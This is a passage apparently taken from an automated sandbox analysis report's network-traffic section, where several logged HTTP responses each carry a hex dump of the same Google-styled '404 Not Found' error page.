74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:12 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:13 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:16 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:17 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:18 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:22 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 